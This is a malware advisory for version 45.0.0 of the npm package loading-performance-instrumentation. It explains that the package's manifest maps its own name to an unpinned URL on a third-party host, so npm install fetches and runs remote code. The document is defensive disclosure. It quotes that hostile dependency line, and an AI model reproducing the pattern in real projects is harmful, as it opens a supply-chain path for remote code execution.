VYPR

npm · Malicious package advisory

Malware

loading-performance-instrumentation

GHSA-3mj4-46pp-48hh

Malicious code in loading-performance-instrumentation (npm)

Details

**Severity:** Critical

**Affected versions:** `= 45.0.0`

## Source: amazon-inspector (27dab9307010475c57195f838ba7d7299fe4a753b92926536aa8376f8d096150)
package.json line 11 declares a dependency whose source is a bare URL rather than a registry version range: "loading-performance-instrumentation": "https://repo.securityctrl.com/loading-performance-instrumentation". The dependency key equals the package's own name (dependency-confusion shape). On `npm install`, npm fetches whatever bytes repo.securityctrl.com returns for that path and installs them into node_modules, running any lifecycle scripts contained inside the fetched tarball. There is no version pin, no integrity hash, and no commit SHA — the content at that URL can change at any time. The README frames the package as a placeholder to prevent dependency confusion, but the manifest itself resolves the same name to a third-party host, contradicting that framing. The shipped code in this tarball is an inert stub; the manifest URL is the entire install-time payload path.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/d75ebb673b0185a99abe46e9e4a60aaa467fa7d8/osv/malicious/npm/loading-performance-instrumentation/MAL-2026-15539.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/d75ebb673b0185a99abe46e9e4a60aaa467fa7d8/osv/malicious/npm/loading-performance-instrumentation/MAL-2026-15539.json
- https://www.npmjs.com/package/loading-performance-instrumentation/v/45.0.0
- https://github.com/advisories/GHSA-3mj4-46pp-48hh

Compromised versions (1)

  • = 45.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.